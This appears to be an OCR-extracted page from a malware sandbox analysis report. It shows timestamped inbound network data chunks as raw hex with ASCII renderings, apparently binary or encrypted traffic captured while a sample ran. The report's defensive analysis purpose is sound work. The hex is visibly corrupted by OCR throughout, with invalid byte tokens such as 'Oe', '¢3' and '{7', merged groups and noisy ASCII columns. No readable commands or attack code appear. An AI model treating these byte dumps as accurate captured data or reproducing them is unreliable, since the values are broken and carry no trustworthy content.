6C 94 f4 c8 f4 4e 1b 12 9f 01 00 cd 19 b1 06 29 8f 46 Oe 70 cc 9c a0 82 4f 35 09 fd 8e ef 31 4d 38 8b cd ff 5b 77 67 c8 87
3e 32 56 f0 f6 d2 60 3a bb 68 c2 29 2f 69 d3 50 cc ¢3 06 45 01 Oc 79 25 5¢ f6 68 29 26 d6 el 8e d3 a2 ec cc 05 ce 85 ed
bb 42 c¢7 40 f1 03 ec 6a 04 ef 35 3f 98 fc 94 31 62
Data Ascii: j"60Q4.JD*m"h@(q_-hpd,d;*<tx6*TQO<""m,F=g_W5W"_H720;U[u+Jt!5IN)FpO51M8[wg>2V":h)/iPEy%\h
)&B@j5?1b
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 2613 IN Data Raw: b2 fd f1 91 b8 cc 83 6a 87 78 e0 6d cc 61 24 56 1e fd ea 6b 6a 8c cf 57 d0 ac 1d 41 3c ec 3b 75 97 b2 17 fa 2e
3a b7 2469 7e aa 95 6b a2 b0 52 93 7b f6 7e be ff 69 76 38 0d 43 e7 21 b5 al 47 ed 9f Oc Ob 9a 82 ef 4¢c Ob 22 22 da c9
34 ef 0a Oe 71 5b 95 7a 8b 24 ae 43 7c 6d 8f 34 bc 4c 70 5¢ 29 21 fc a8 5b d8 10 a7 91 45 7a 88 73 a9 14 a0 52 48 b0 cb
0f 10 fe b6 41 ae c1 63 f9 10 87 1b 07 f2 5d 6d d5 88 40 c6 el 85 e5 73 33 78 49 4a 4e c1 cl 43 44 ec 81 5a ce 49 a9 91
43 2e 39 b8 72 bc b9 a4 83 b1 5d 7f d1 ba e9 7 db c3 fb ad 3b ec d6 75 48 99 e6 77 39 63 d8 8e 5 a7 4a de 92 ce 3c Oc
a9 25 ad 81 d3 02 86 27 f2 07 €3 30 87 89 87 43 3e a8 4a b0 35 e3 a9 e6 b5 46 21 71 5e 7c 81 83 ef 9e 10 ae 32 ed 20 8¢
9e €2 96 48 54 ca d2 62 7d 32 a6 41 e5 61 f5 f4 b7 3d
Data Ascii: jxma$VkjWA<;u.:$i~kR{~iv8C!GL""4q[z$C|m4Lp\)![EzsRHACIm@s3xIINCDZIC.9r];uHw9cJ<%'0C>J5F!q"|2
HTb}2Aa=

2021-12-01 08:15:22 UTC 2629 IN Data Raw: 54 09 85 85 d4 14 3e 83 19 13 12 a3 67 b8 4f 86 7b b5 fc ad 96 58 df 05 85 b9 e2 d9 93 8b 75 bc 13 7b 78 49
fb 98 5e ¢2 44 9a cf fd ed 42 72 b0 9b ¢3 35 51 a4 75 02 19 2e 6f ab 4e 04 b3 3f e3 ab 4b 3f 3b 95 03 53 a2 bf a2 0f bf e3
bc 6f bf 81 ae ec 36 20 16 ad ab 9e d8 44 25 4b 5f 4f 83 Oc 48 €8 00 Ob 95 5a 7a 44 8e 94 21 ed 56 fe db 25 al 61 55 41
b2 67 60 40 db 4e da c7 5c f2 36 10 2a e7 2a d2 2d 56 Oa 7d ec ea 94 39 ad b7 3f 24 b4 bd cc 44 48 c3 1f ad 14 5f a0 f3
39 3d 3b 8f b9 e2 08 bf a0 04 16 43 f6 43 46 76 f8 8f 2e 93 6b b3 99 be e2 75 bc 67 d2 4f 37 83 b5 d5 20 ¢7 1b 20 7d 72
77 0d 30 Oc a0 2e 37 8b bb bc 2a 5f 77 ¢6 1c 56 5b 41 61 07 36 a0 25 b9 cc 4c 27 b0 57 7a fb 45 07 b4 fb 68 c8 3a da c3
29 7a 03 eb 59 98 ff 48 0a f7 €5 d4 13 61 94 €8 ba e6
Data Ascii: T>gO{Xu{xI"DBr5Qu.oN?K?;S06 D%K_OHZzD!V%aUAg @N\6**-V}9?$DH_9=;CCFv.kugO7 }rw0.7*_wV[Aa
6%L'WzEh:)zYHa

2021-12-01 08:15:22 UTC 2645 IN Data Raw: 2b 3 b1 70 d5 5c c4 70 de af 74 5¢c 93 e3 f3 f2 3e c2 24 99 7a 04 e6 c1 65 9a 36 53 48 71 25 ab 22 5e dd 49
4d 53 da e2 81 c0 db e8 7b 95 b4 cb b8 6f 99 df 8a f3 25 a9 da de 00 a9 7d 3f c9 a3 9f b2 34 64 71 86 fd 31 70 3b a7 02 c6
6f d0 39 3f 1d e5 d7 65 40 98 d9 cc 38 7f 29 51 05 2c e7 d7 ab 50 78 73 95 64 2d d9 2e 08 f9 4e 37 5f 76 b2 33 b7 51 90
df 4e f1 35 3 9d b3 97 f2 {7 86 5a fO 6e 62 3a 14 62 b6 7e 52 f8 68 51 7c 08 b4 c2 9b 9b 7f d3 05 d3 9c 60 ed Of 4a 6d 1b
87 49 a8 23 al cf b6 70 04 17 2e 26 c3 ae 66 40 46 51 4e 6a 9a 0a 9a 11 e2 6b 0d 07 18 2c 45 e3 b5 57 85 33 6 f6 a9 fO
4419 93 bc 04 20 5f 2 49 6a d9 68 26 a9 8¢ 4c cc 85 d0 1a fe c0 98 1b d5 db 77 23 24 5b 7e 13 a0 b8 74 5f 5b 0f dd dc
d6 06 83 49 13 24 ef €9 58 04 68 03 4c 63 7c 39 b7
Data Ascii: +p\pt\>$ze6SHq%""IMS{0%}?4dq1p;09?e@8)Q,Pxsd-.N7_v3QN5Znb:b~RhQ| Iml#p.&f@FQNjk,EW3D _lj
h&Lw#$[~t_[I$XhLc|9

2021-12-01 08:15:22 UTC 2661 IN Data Raw: c7 a0 b8 e0 ef 3 16 7e e3 6¢ Oa ff 84 29 14 24 5a c6 7a 93 53 c1 91 34 d0 fc a4 30 a9 ea dO f6 00 d6 f2 ad 02
9c 6b 4c cc 97 81 85 2b 81 10 94 66 4a 43 c6 39 e2 ad ee 10 89 df 2e 64 d9 d0 b6 44 1d 07 a8 07 11 46 02 62 bd 86 2a
41 be 27 50 f4 a5 d0 a6 8e 72 24 c1 ea ac d3 fb ef f2 0a c6 c2 87 2b 80 00 2e 1f 6¢ 50 5¢ 85 7b d9 49 56 be Oa ab 86 1b
07 6f 78 9e d0 e2 Oa 41 8b de 38 5d 78 9c dd Ob ef Oe 40 a0 44 d8 6f 29 b8 22 86 3c 8d 2d 9c 33 d5 75 a6 37 3d f8 c8 bc
€0 65 95 23 c7 a6 5f 3b 1c b4 cc 90 2a 6e ff ce c2 56 72 cc 00 1f 30 91 10 24 9f 65 5b 8f 1a 65 7b 2c 74 ef 05 3¢ 65 63 08
5d 77 3c 49 6¢ 38 Oa fa 4a b9 61 aa 02 24 7c ae 45 50 d7 84 22 08 6f 62 92 fe 58 d1 51 Oe b1 d2 8b 65 0f 6f c2 f2 ed 17 4f
3a 5d a0 d8 59 le al 14 c9 c6 b0 c8 b2 76 54 16 b3
Data Ascii: ~1)$ZzS40kL+fJC9.dDFb*A'Pr$+.IP\{IVoxA8]x@Do)"<-3u7=e#_;*nVr0$e[e{,t<ec]w<II8Ja$|EP"0bXQeoO:]YVT

2021-12-01 08:15:22 UTC 2677 IN Data Raw: f9 c3 ff fO 85 8f Of 88 b4 d8 00 7e 78 84 16 d9 f6 8f b6 cf 8b 0a 24 68 42 9b 4a bc 51 73 a7 da 48 4e 76 3d af bb
8e 62 5 63 b5 df 28 19 38 50 49 6a b6 fe b4 8d f3 b0 al 1f b2 ¢4 c3 ac db c4 b2 0b 39 5a 86 c9 2b 9f 40 d1 f4 4a a2 cd 39
a5 a3 e5 88 8c 08 78 47 39 ed 3a 37 09 98 7 d7 39 b4 9e 7b 33 9a db Oa 89 6f 9f 40 d2 33 9d 2c b6 38 b2 b7 9c 00 95 dd
4 21 22 7b 55 b3 56 ec 89 36 ea 6¢ 51 3f bl ad 8c 95 a7 81 b3 {7 1c fc 5d 79 1b c9 69 24 f8 09 23 59 00 35 ca 66 a3 ea
d5 78 98 e7 95 al 1f d4 b3 a3 69 a2 Of fa 14 bl bf f9 45 b7 a0 34 3a d2 32 7c 20 13 51 b6 ab a5 cf 06 b7 Oa 1e fe 29 ca dd
01 10 90 d6 a0 7e af 7f 66 1b 29 be Oc a3 dc dd 52 31 90 43 {7 4d d0 18 19 fb bd da c8 03 88 ed 62 3c b6 49 36 ad 4a 37
96 e3 a6 1le 9a 44 ba e7 b7 db 35 b7 8f 80 a2
Data Ascii: ~x$hBJQsHNv=bc(8PIj9Z+@J9xG9:79{30@3,8!"{UV6IQ?]yi$#Y5fxiE4:2| Q)~)R1CMb<I6J7D5

2021-12-01 08:15:22 UTC 2693 IN Data Raw: 57 71 6e 53 5d 9a 70 c5 bb e2 b6 18 75 fa e3 6b f6 de 48 59 82 64 60 8a 2a 9f 36 ed 41 03 5f 86 c4 8b dc 5a
10 0e 7d 04 86 c0 3d 57 87 11 ec e5 11 51 23 bd 06 18 9e 6f df bc 2f f6 17 5e 49 7e Oc 34 c7 c9 43 d0 03 6e 67 2f bd 7e
62 44 fb af 66 6e 19 69 ea bb e0 57 0a b8 5e 90 ef 39 f8 20 55 3b bb 0a cd Oe c5 a8 92 fd fa 51 99 76 Ob d2 f2 02 6e 21 ed
cc 9c 8f 69 08 40 e2 16 22 58 bc al 88 5d ca 63 be b9 a2 e5 8a 33 88 ca 3e 01 64 66 1d e0 b8 d2 15 f4 7c 49 d1 c3 d7 ec
29 c6 9a d3 e4 6a 38 70 92 74 06 10 7d e0 c8 86 dd 32 61 7f bd 8e €9 08 9a da b0 11 46 61 57 00 5¢ 70 33 80 9c f5 6a 1d
€5 46 4e 66 b9 77 b6 a4 b7 95 ff 38 29 92 cd 2c ca 61 43 c4 ef 59 65 3f 65 e8 24 64 ¢3 9b 49 d7 7a 36 ed 1le b2 7a fa Oa fa
e4 5b 51 16 c2 7b f9 4c f9 00 da 77 bl d3 c7 58 ed
Data Ascii: WgnS]pukHYd *6A_Z}=WQ#o/*~4Cng/~bDfniW”9 U;Qvn!i@"X]c3>df|l)j8pt}2aFaW\p3jFNfw8),aCYe?e
$d1z62[Q{LwX

2021-12-01 08:15:23 UTC 2709 IN Data Raw: 82 el 72 94 0f 44 06 6d 68 c0 55 ce 9f d6 2d 85 ae a6 91 32 e9 ca 19 fa 4d be 75 a5 7f 79 54 7b 86 3f 88 4f ab
Oe el 6a 73 Ob d7 e4 c8 65 ad e0 3e 0d c6 10 4d 9f 84 0a 95 dc 5d 19 d7 ec 30 6e 1f 1e dd 49 08 34 80 3d fc d3 e4 35 c5
1b 40 46 c0 41 12 de 95 f3 13 Ob 9c fa 3e dd 64 a9 1a fd 3f 11 4f e7 74 d4 eb 3c ba cb af c1 18 26 1le c1 ca 43 28 ac a9 31
b8 20 1d c6 2f 90 b4 fe 1d 41 d5 61 64 39 77 d3 38 8a 2a 7e 5e ab a5 57 49 3e c9 cb 4d e5 07 a5 4a 24 7f 05 a7 0d 94 7¢
b9 af 54 2f eb el f1 7c ed b6 a0 b0 53 56 08 de 4e be af 2a 4e 42 05 8e 4e 6d ca b5 da 60 26 75 9f 7e a0 50 4c e8 68 72
02 23 a5 35 1f 56 fb 3¢ 2c b4 8d 7a 6b 2b d7 c2 9c 55 8f 8f ¢4 1e 51 7c b5 e5 fa cb 57 b5 f9 89 d5 3b 4f 9d 2a 03 7c {3 60
€6 86 58 bb 15 a8 75 74 76 20 bb e5 20 29 {7 28
Data Ascii: rDmhU-2MuyT{?Ojse>M]0nl4=5@FA>d?0t<&C(1 /AadOw8*~"WI>MJI$|T/|SVN*NBNm &u~PLhr#5
V<,zk+UQIW; 0% Xutv )(

2021-12-01 08:15:23 UTC 2725 IN Data Raw: 35 98 16 05 a6 7a Oe 4b 7f 92 73 3f 23 40 9d f1 62 6f 3 12 7c 3d e7 d7 1b 6¢ 00 76 8f 91 81 76 ef 59 86 49 07
e7 ad 45 7f bb 71 bb 6d Ob 58 a0 8a f3 8d cf a0 5b 89 7a b5 2a 68 6d 60 71 b1 2b c5 a7 al 2c 9f 9e 55 9c b9 f0 45 f5 bc 2¢
d7 16 bl 9e 04 a9 ef eb ba 77 9b 4d 32 a7 a8 8e 42 56 Ob 88 33 83 4d ca 9d b3 cc de Ob 43 1c e5 80 61 39 8b 4f ab 45 c4
0f ¢7 63 2f 71 a2 53 47 ¢6 05 85 Oe fb 78 00 40 55 02 c3 b0 13 61 df 96 93 e5 ad 10 d3 8d 6a 7e 7b fe c8 f5 e4 eb b0 e8
85 4c dc dd a0 98 e6 f3 57 a6 ad 1a 74 71 d2 cd 7a 6a al 35 a5 a7 40 b6 9e a5 e8 ¢3 df e5 00 90 c3 {7 b1 31 3b 64 0d fb
a9 54 d9 a6 09 c7 0d 24 ed 01 5e a6 76 57 0d 36 23 al 8a 28 64 63 €0 98 4b 2d 89 20 5d b7 91 dd fd ce 6d 44 a6 ce 2a
31 3e 70 4c a3 08 c7 d9 Oc 64 b4 4e fa 0d 2a 99 b2 a6
Data Ascii: 5zKs?#@bo|=IvwYIEqmX[z*hm"g+,UE,wM2BV3MCa90Ec/qSGx@Uaj~{LWtqzj5@1;dT$ VW6#(dcK-
JmD*1>pLdN*

2021-12-01 08:15:23 UTC 2741 IN Data Raw: c1 25 68 ca 41 64 b0 33 07 3e d7 c4 e8 9e ac c9 42 9b ad 98 46 55 4f 34 7f f8 26 7f 6e 01 b2 a3 4d 42 b6 22 8f
8 2e 3d Of 5e 48 06 90 5f b9 28 40 27 a5 f8 4f 2b 07 d3 cc 7e 76 aa 46 a4 6b 38 fc b6 2b a3 23 fe 08 f4 23 d1 14 c4 ee d5
2edbee 350d 99 c9 13 7a f2 36 7a 18 70 51 4d 74 92 af 1d 44 20 e5 17 6b a0 38 3b cf 31 49 f8 a0 fe 23 ¢7 51 46 da 9c
db 69 bf 90 87 bc ca 33 80 0a 56 36 7a 3b 5¢ 59 18 a5 24 fd f6 b4 c5 ba ea f1 8 cb 90 09 30 f2 a4 33 €9 d4 c6 1c a0 57 e4
bf e8 52 f6 6e e5 2a 55 2a 5a 36 de 4a 70 04 17 ac 30 55 2d 6e ce b8 b1 22 02 dO 69 f7 40 13 22 20 58 90 6f 5d d3 a2 54
ac 44 88 8a 86 29 28 7d 32 03 b4 59 48 1b 00 02 79 8d 7d b3 fb 76 9 f9 13 ae 21 65 51 85 10 1a 5f 0d 9c 36 ea 00 09 f2
1b f8 Ob 8 58 22 64 e3 f4 77 db 87 3b 63 €9 32
Data Ascii: %hAd3>BFUO4&NMB".="H_(@'O+~VFk8+##.5262pQMtD k8;11#QFi3V6z;\Y$03WRN*U*Z6Jp0U-n"i@" Xo]TD)
(2YHy}v'eQ_6X"dw;c2
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 2745 IN Data Raw: a5 71 1b d1 28 60 12 63 02 08 32 56 de 45 f4 48 af b6 45 32 a2 0f a0 47 61 5f 81 a0 22 eb 35 48 fa 85 58 5f a6
ed 4f 38 cc 8¢ f3 92 07 70 6f 14 6a 83 09 cb 03 03 2f e8 08 00 00 79 f4 ac 51 cc 10 61 39 bb 2f b8 87 €9 6a 19 54 45 d0 c1
2c 64 39 6a b0 7d f7 7c 6f 1b ba 50 92 84 71 24 71 ef 2¢c 3d 57 10 63 71 d2 32 ac f4 ee 6d aa b7 62 41 73 ¢7 Oc d5 a3 e5
6 c2 1a 11 Of fe 3c a9 d8 88 2 fe 80 ba f3 09 eb f7 dd 92 6e 15 2a 7d 5c 5a 26 3e f9 fa 96 95 ff 2f 9f b9 38 d8 f9 28 ac 97
22 fa 00 03 ba 34 2 1e c0 3e ed eb fc e6 a6 58 af 06 14 a6 a0 56 c6 bf 71 e8 ed b9 ce 45 80 dd 32 a4 77 d8 4e fc 55 7f 2d
9f 9c 1a 03 fO 7e b1 Ob a0 aa 35 6f d3 d2 56 9f ff 95 d1 7c 87 64 ac 58 fa 9a d0 3b 9e 63 af e4 e6 37 cb 8b 84 de 8d 09 52
95 95 70 b7 9a 79 ¢9 d0 58 c9 a7 e0 45
Data Ascii: q('c2VEHE2Ga_"5HX_08poj/lyQa9/iTE,d9j}|oPq$q,=Wcg2mbAs<n*}N\Z&>/8("4>XVqE2wNU-~50V|dX;c7RpyXE

2021-12-01 08:15:23 UTC 2761 IN Data Raw: 45 6d 5b a0 55 bd 74 37 99 89 ba 85 d8 c0 4a 1e 7b 1c 96 26 24 06 fc dc 66 6¢c e2 Ob 15 07 10 7f f6 b4 36 2b
1117 8b c6 aa 06 41 7f b3 4c bb 28 60 09 16 85 ad e4 a2 91 08 8e cbh db 3b 8 84 28 80 fc 69 98 aa 38 14 6f d6 df 40 d6 df
b7 d2 1e 17 78 4c ba e8 c4 01 e3 d2 95 68 ea 10 3b 17 56 04 cf 5 60 83 bd 9e 4a 79 1c a2 70 9a ef bf a3 el ea d9 24 40
3b 44 5d 6d 2e 25 95 6a 31 52 4d b6 38 de 69 4d 77 e4 28 af Oe 3e 08 3b 5a 5a f8 75 7c a0 f9 ac 6e 5e ab bb 71 00 7f 2d
b7 67 90 57 e2 57 98 94 fc f9 79 1f 3b 81 d9 c8 45 2b 42 b1 27 b3 7f fO 8b 4b 46 d2 8a a8 f4 50 7a ea 8b 93 ab 9e 16 90 f4
ab cd 96 66 0a 51 49 24 d2 16 85 6f 7d f3 1c 24 d8 1c 6f f7 8f 72 88 74 19 43 47 3e a7 22 33 1e 55 ¢4 d0 33 66 9b 61 09
dd 52 87 45 e9 el 20 37 8b c9 ab 91 c3 20 c0 e5 e3
Data Ascii: Em[Ut7J{&$fl6+AL(";(i8o@xLh;V Jyp$@;D]m.%j1RM8iMw(>;ZZu|n"q-gWWYy;E+B'KFPzfQI$o}$ortCG>"3
U3faRE 7

2021-12-01 08:15:23 UTC 2777 IN Data Raw: 88 3e 89 26 e2 1f e0 e9 bc 77 14 34 6a d7 f1 a7 14 01 d3 3a f7 8d 4a aa b0 a7 ce a5 ef ed eb f6 55 1c 65 be b2
96 ce 14 7a 98 2d 11 63 7d 80 76 d2 f3 24 b4 e0 20 5d 55 72 af d1 ed e0 11 30 1f e2 9f 4f 89 32 ef 03 7b 60 2f 11 cb 2e e8
83 6f df 0a 24 66 f8 78 08 17 89 4f a9 4e 0d e3 27 64 09 a4 21 88 d0 48 20 ab a4 21 el 3c 47 f3 f7 3c 88 57 8b 2c 7c b4
b9 83 63 11 79 0d a0 d8 f9 a6 87 47 26 39 3f Of ea 13 4d ad a6 8f 3b 96 b3 fe 12 3c 78 31 ea d0 71 02 7a 3f 24 c1 6¢ e2
1d 2c 62 dc 9c e9 ff 73 5d ca f3 6e 9b 9c c0 7a 94 20 9d 59 50 4b 10 03 39 55 c3 6f 0a a4 50 {7 2f c4 0d c6 d9 a2 df 62 39
b8 22 f2 b1 ed 40 89 69 06 bf ¢7 73 4f 57 05 2c 3e ce 92 0d b4 dc 5 3d 83 ae 9a 13 84 06 66 29 67 b0 27 d1 98 20 f8 78
9b 5c¢ df 56 65 33 db 2a 62 6¢ €3 08 c6 d4 33 83
Data Ascii: >&w4j:JUez-c}v$ JUr0O2{"/.0$fXON'd!H I<G<W,|cyG&9?M;<x1qz?$l,bs]nz YPKIUoP/b9"@isOW,>=f)g' x\Ve3*b
13

2021-12-01 08:15:23 UTC 2793 IN Data Raw: bc 13 5e 35 4e c2 e5 fd fb 76 8b al 7e 4f c9 97 d9 3d 4a de 31 5e 02 f9 91 22 d6 41 a7 ef 52 18 79 36 7b 2f ba
af ea 88 f1 d8 8f 53 7f 84 a0 8c 56 Ob bc 73 Oe 2e b4 2e 1la c5 41 97 2f 6¢ 62 65 41 63 5¢ 3e 6a 29 9a 9c e8 65 dd 68 08
2d 53 06 b4 16 51 f4 d2 fc 3f d0 b5 fb 15 36 57 90 36 b6 fc f9 76 81 75 18 54 6f {7 2¢ ¢5 3d 45 13 14 d5 dd a5 Oe 8¢ 56 48
3a a5 15 f0 03 8d 40 64 95 ae cf b4 bf cf bf e2 b7 a5 a3 7b 3d d7 Ob c3 ac d2 92 a0 84 ea b2 c1 a7 24 22 c4 d0 45 de 95
5c 9b 70 42 21 c8 e9 30 3c d0 87 48 74 b7 Ob cf c8 c0 19 a6 8a cd 09 14 05 b9 2f 9e 54 92 80 ac d6 7d 8 8e 1f f4 5b 50
49 e6 4e c4 fe 93 14 f6 79 Oe d9 42 ea 22 6¢ 5b 70 26 €9 bf 59 ec 83 f7 22 a9 6 1d e8 b9 eb a2 61 8e a3 f6 c8 14 53 b6
03 f3 37 ¢3 53 9b 83 ¢4 06 00 9e c7 f9 Ob 44 4d Ob
Data Ascii: "'5Nv~0=J1""ARy6{/SVs..AllbeAc\>j)eh-SQ?6W6vuTo,=EVH: @d{=$"E\pB!0<Ht/T}[PINyB"l[p&Y"aS7SDM

2021-12-01 08:15:23 UTC 2809 IN Data Raw: b9 16 5d 77 81 5d 79 a9 0f fd 5d a2 63 2e 3d ec 77 85 cc b4 ec 5a 50 el ed 9e el 5b a3 ab 91 21 75 Ob Oa 72
26 bf 36 48 4b 99 6f f2 e4 85 25 58 c¢1 7b 75 d4 d5 3f 2e 59 79 d3 9c Oe d1 5d 88 b7 2d de 62 aa bd 44 b0 d7 14 b4 2e af
e6 c0 le 3a ed bf 77 06 43 b0 e4 b5 a6 04 2e 60 8d 5f 41 35 11 07 79 9a 3d b9 17 48 aa 51 a0 3a 83 5b 2c 25 16 e6 c8 1b
al d3 5fac 2b f2 84 6¢ 2d c0 f8 a5 73 7b 9b b1 bc 0d 17 04 24 5d ba 41 e6 fc 47 ea 54 d7 18 34 e8 Ob 8f 2b 75 48 92 01
b3 b2 89 e4 a9 e8 2c 4b 67 57 00 80 d2 24 3d 4e b3 af 57 3c 2c af 39 83 44 90 f2 5d ab 68 64 32 8f 0a f4 2f 78 fb d4 5e 89
02 71 38 8f 9e 32 48 f9 af 24 22 72 44 60 26 f4 6¢ a8 4e bc 99 7d ae 08 ac 3c ff 9e d2 70 be a9 45 90 d1 e0 01 5 23 4b 98
271215 ¢1 14 85 d1 fa e6 ff 9f 9d 8d dd 86 be dd
Data Ascii: Jw]y]c.=wZP[!ur&6HK0%X{u?.Yy]-bD.:wC."_A5y=HQ:[,%_+I-s{$]AGT4+uH,KgW$=NW<,9D]hd2/x"q82H$
"D &IN}<pE#K'

2021-12-01 08:15:23 UTC 2825 IN Data Raw: 32 f2 09 5e e4 4a 57 18 1f f5 36 de 10 dO de 4e 38 30 e5 23 b1 c5 26 fb 63 28 b0 89 c5 6e 81 a5 06 3d cf 1b c4
60 5b 0f b9 ae ac 66 c4 bc 2c 57 1a 6f f5 8e ba 07 2c 8f 74 1f 04 42 e7 c0 23 92 15 4f af d4 77 01 5a dO 4a el 37 7c 5f 28
4a 11 cd ab 4e 5e c2 b2 b4 81 f1 d3 8a c1 4a bb c2 33 9c 32 Oa fa e3 4a d7 55 a9 b5 88 d3 64 22 c0 e9 56 c6 74 03 36 e2
87 fb el 14 24 7a 4e 18 09 f1 61 c3 ef b8 89 3a f3 10 39 9c 3f a0 b5 9c d7 c9 82 bb 19 2c 2e 7a 58 bb c7 f0 5 57 c4 7d 93
4b bd 6b 80 e2 a6 57 ¢9 63 8c 4d a4 da 39 09 d1 fb d8 aa d2 bb d1 ed 0d ef 93 bf 8e d1 86 c9 04 72 fb d3 f4 eb e8 03 35
c34e ac 59 de 3c c4 fb 2e ea f6 92 33 0d 27 63 aa e9 0f da 8a 4a 58 cf bb 48 18 9e f2 f8 1c 52 e2 2a 6¢ ca 12 d7 d0 48 7c
78 f1 dd 3d ad 5e 9c de 10 al a2 1c 2f eb ef
Data Ascii: 2"\JW6N80#&c(n="[f,Wo,tB#OwZzJ7|_(IN*J32JUd"Vt6$zNa:97?, zZXWIKKWCMIr5NY <.3'cIXHR*IH|x="/

2021-12-01 08:15:23 UTC 2841 IN Data Raw: ea d0 52 4c 56 71 f2 74 42 b9 8c aa 56 ae 84 8e f0 58 b0 bc ed ee a9 61 1c bc fe d6 58 07 7f da e3 fb ec fc 7c
29 8b 43 8b 32 5b d4 8e 46 3b de 6f 44 02 52 50 38 e5 4a e0 e7 91 08 5f 9c e5 bc e2 9b 09 5f 74 al fb 8d c5 7e a0 86 d8
¢4 54 50 08 el b2 ef be 4a d8 de 50 13 e8 77 67 04 9a d1 e7 60 1e 57 ad d7 ba e7 d5 68 18 c1 e7 8c b9 a7 fc b6 bd 04 df
11 bf 02 5b 1e d0 b7 11 7a Ob 79 27 5a 48 50 65 02 13 fd b4 12 07 84 2f 35 39 34 90 97 2b b3 7e 23 b5 3 07 d9 60 2c 06
7d 05 a5 50 c3 e2 0d 37 1a 6b c4 a7 fc f9 bb a5 a8 89 b7 05 68 23 20 a7 a8 58 ¢8 13 a6 53 f7 2a 06 60 7d ff b5 19 99 84
50 9d 85 8f 44 7f 97 ed 15 3f 06 4d ac 2c 47 63 c6 d0 c7 07 fe fa a7 d3 eb 18 ad 40 Oc 5e 53 26 f5 05 24 2a ee Ob e7 56 97
da cc 1b 28 99 31 70 1a 9e 9a fc €0 2d 4d e7 1c 90
Data Ascii: RLVqtBVXaX|)C2[F;0DRP8J__t~TPJPwg Wh(zy'ZHPe/594+~#" }P7kh# XS* }PD?M,Gc@"S&$*V(1p-M

2021-12-01 08:15:23 UTC 2857 IN Data Raw: le 59 a6 ad 18 54 7d 4f ca 58 50 3¢ 92 45 €6 69 95 77 a0 4a 19 87 21 ee ed c7 b2 cb 41 3c 6b f7 57 13 dc 3b
be 73 e2 3f 98 51 b2 4b 25 8e 36 a2 d8 43 a8 44 8d el a5 2f e2 f0 64 c5 1b 91 8e 1b 01 aa 34 60 cf 30 92 0a b3 24 17 aa
16 17 fc 79 77 dc 2b a9 cc ab 16 5e 53 d2 64 f8 6e db 9e 34 65 1a eb 4c 8a 6¢ 84 60 34 6d 51 30 df ca c2 ec 02 be 6f 73
28 ae 2b 95 e5 ac ee 2c 77 62 d1 8¢ 30 5¢ 82 02 6b 89 eb 02 5e 79 fe 4e 26 90 65 1d 5b 1a a3 fb 5f 3¢ 95 ac Ob 6a 52 35
b7 b8 2d d8 f6 70 53 40 fa 45 50 ca ce d3 94 1b bd 06 al 96 34 3a f2 50 04 5b bc 38 a6 b2 72 63 91 a9 aa be 2b c9 fb b0
9e 3d eb a4 0f 39 23 1d 26 87 3b 62 c3 c2 c3 ea 89 94 35 f6 45 a5 68 42 7d 31 0a d7 9e 1c 5¢ c0 a0 f8 02 3b 6a d3 b9 f3
15 cb 15 43 4f 7e 6f 85 5a a2 a4 85 d3 71 6a 4f 94 9¢c 2b
Data Ascii: YTIOXP<EiwJ!A<kW;s?QK%6CD/d4 0$yw+"SdndeLl"4mQOos(+,wb0\k*yN&e[ <jR5-pS@EP4:P[8rc+=9#&;b
5EhB}1\;jCO~0ZqjO+

2021-12-01 08:15:23 UTC 2873 IN Data Raw: bf 1d 30 77 14 d2 05 8b 10 2c Oa el d1 ab 5a b0 6¢ 24 6a 80 7e 80 10 25 04 43 82 24 ea 30 1c cd 00 50 ae 4d
eb 29 f6 al 66 b7 5f bl 6b f5 59 33 38 ba 0f €7 bd 67 c4 dd bc 01 ec 43 53 cb 67 18 fe 90 fa 62 20 e5 6c¢ 4e 7d 72 70 5d 5e
ec 02 2b Oc be 03 8b 47 02 74 64 5b 02 Oe 8a 04 8c bc 78 ae d8 2¢c 0d e8 32 ¢8 66 eb 8f €9 a9 ee 98 a3 64 bf 22 83 90 78
3072 ec5e 9161 el e8 81 6398 19 a2 b0 e7 19 94 c8 2b 9e 62 4a le d4 8f €3 75 53 1b 86 3c e2 61 c8 8d fd 2d €3 73 c8
45 0b c6 4e 9c d1 14 f7 d7 a7 92 1a 87 f4 €6 03 1b 24 8b 9c 9 41 43 d9 97 42 fa fO 05 46 fO 2d 18 04 73 a6 21 42 a2 18
93 4c 67 5f eb 59 43 74 ea 3d ec ca d6 6d e5 ed 99 a7 30 30 93 64 62 11 30 5f 24 74 03 38 8f d4 fb 7d 28 3e 3a f4 a8 a7
9 9f 7e cd ¢7 c¢3 03 1c 6e 8b 01 24 a5 b7 79 45 56 25
Data Ascii: 0w, ZI$j~%C$0PM)f_kY38gCSgb IN}rp]*+Gtd[x,2fd"x0r*ac+bJuS<a-sEN$SACBF-s!BLg_YCt=m00db0_$t8}
(>:~n$yEV%

Copyright Joe Security LLC 2021 Page 97 of 119



kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 2889 IN Data Raw: 57 9e 05 07 63 fb 1d c7 a2 e6 b5 1d de 76 ff ca 15 22 6f 1c 92 4e da bb a3 7f 3c a7 aa 9e c2 d7 71 70 19 5e f5
62 99 3b 9a c3 e8 6b 23 73 86 78 b0 cd a0 46 d8 48 8 1a f7 29 8f 88 82 01 4e 4e 1f 5f 08 f9 92 05 1a 64 7f 17 1le d4 3e 74
dd 91 b3 dd c8 b6 54 24 ba d0 88 e5 97 11 74 48 a9 20 f2 16 59 8¢ 3d dd ca f9 67 10 03 06 a6 43 ce fc cc b4 9f 1c 29 95
47 68 8a a8 81 ed 24 78 fa 14 45 39 27 3b 75 ¢2 39 a4 23 c7 50 8a 44 32 92 b2 23 00 4d 27 b2 62 0d 6d c7 77 65 Ob 41
2a 76 94 8d 72 95 5e 9d 15 75 62 c9 48 6e a4 fd 4f 2f 58 3a c1 4c 04 1b 86 d5 23 4e d1 f1 37 30 59 e9 5¢ fb 2f fc 50 32 90
d2 b2 6a 6a 55 40 50 51 95 70 b9 20 34 e3 6b f6 b8 23 d6 4e a5 14 83 72 8d 90 49 26 87 eb 67 9c f6 8b 56 22 8e 67 7a
18 6¢c 2518 70 09 04 10 61 92 39 8f f1 05 30 2f 82 ff
Data Ascii: Wev'oN<gp”b;k#sxFH)NN_d>tT$tH Y=gC)Gh$xE9';u9#PD2#M'bmweA*vr ubHNO/X:L#N70YVP2jju@PQp 4
k#Nrl&gV"gzl%pa90/

